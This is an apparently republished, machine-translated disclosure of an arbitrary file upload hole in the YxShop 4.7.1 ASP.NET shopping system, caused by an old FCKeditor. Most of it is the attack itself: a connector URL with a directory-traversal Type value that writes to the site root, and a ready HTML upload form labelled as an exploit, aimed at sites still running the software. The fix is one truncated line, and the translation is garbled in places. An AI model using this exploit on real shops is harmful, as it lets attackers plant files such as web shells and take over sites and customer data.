YxShop: Arbitrary File Upload Vulnerability and repair in shopping mall 4.7.1

Source: Internet
Author: User

Author: constanding

 
 
I happened to run into this program tonight and searched for it. I found that there are still many users. The hacker has not found the vulnerability of the program, so he found the source code, the fckeditor folder, and the directory structure. Upload the files to the aspx file and take them ..
 
This is China's first free open-source Shopping System for ASP. NET. The latest version is 4.7, And the fckeditor Editor Version earlier than 2.4 is used. Therefore, you can directly upload any file.
 
I did not test other versions. The problem is probably the same.
 
Http://www.bkjia.com/controls/fckeditor/editor/filemanager/browser/default/browser.html? Type = ../& Connector = connectors/aspx/connector. aspx
 
Go to the root directory of the website to upload arbitrary files.
 
 
If the connector. aspx file is deleted, run the following exp command to save the following code as html and upload any file:
 
<Form id = "frmUpload" enctype = "multipart/form-data" action = "http://www.bkjia.com/controls/fckeditor/editor/filemanager/upload/aspx/upload.aspx? Type = Media "method =" post ">
Upload a new file: <br>
<Input type = "file" name = "NewFile" size = "50"> <br>
<Input id = "btnUpload" type = "submit" value = "Upload">
</Form>
Fix: You can change the editor...

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.